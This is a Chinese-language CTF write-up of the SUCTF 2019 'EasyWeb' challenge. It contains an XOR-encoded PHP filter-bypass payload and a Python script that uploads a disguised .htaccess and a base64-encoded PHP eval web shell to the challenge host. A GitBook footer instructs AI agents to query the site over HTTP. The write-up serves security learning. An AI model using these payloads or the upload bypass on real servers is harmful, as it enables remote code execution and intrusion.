# EasyWeb

源代码

```
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
```

这里长度和字符限制的比较死，使用异或绕过

```
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
```

之后可以发现它的disable\_function是比较多的，这里也限制了执行命令。但是这里可以调用系统提供的get\_the\_flag函数。

```
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
```

文件上传存在三个限制：

* 文件不能包含`<?`
* 文件格式符合图片格式
* 文件后缀名不能包含ph

由于不能包含ph，很容易联想到.htaccess进行绕过。图片格式可以通过（网上的大哥教examine教我的，examine是我大哥）

<figure><img src="/files/KpaxxKtQV3Zt6U0gWH36" alt=""><figcaption></figcaption></figure>

总结.htaccess上传有两种方式，一种是通过#define定义图片格式，绕过文件上传，第二种是寻找一种图片格式，该图片文件头的第一位是0x00即null即可绕过exif判断。因为#和\x00在.htaccess中表示注释符，而不会破坏.htaccess原有的结构。这里先用第一种文件上传方法绕过。

```
import requests
import base64

url = "http://6a1964de-b905-4b09-9920-832375dab36b.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"


def generate_htaccess():
    content = "#define width 1\n" \
              + "#define height 1\n" \
              + "AddType application/x-httpd-php .gif\n" \
              + "php_value auto_append_file \"php://filter/convert.base64-decode/resource=examine.gif\""
    return content


def generate_shell():
    shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
    return shell


if __name__ == "__main__":
    # upload1
    files = {'file': ('.htaccess', generate_htaccess(), 'image/jpeg')}
    response = requests.post(url=url, files=files)
    print(response.text)
    # upload2
    files = {'file': ('examine.gif', generate_shell(), 'image/jpeg')}
    response = requests.post(url=url, files=files)
    print(response.text)
```

后面做了opendir的设置，绕过方式比较多<https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-suctf/easyweb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
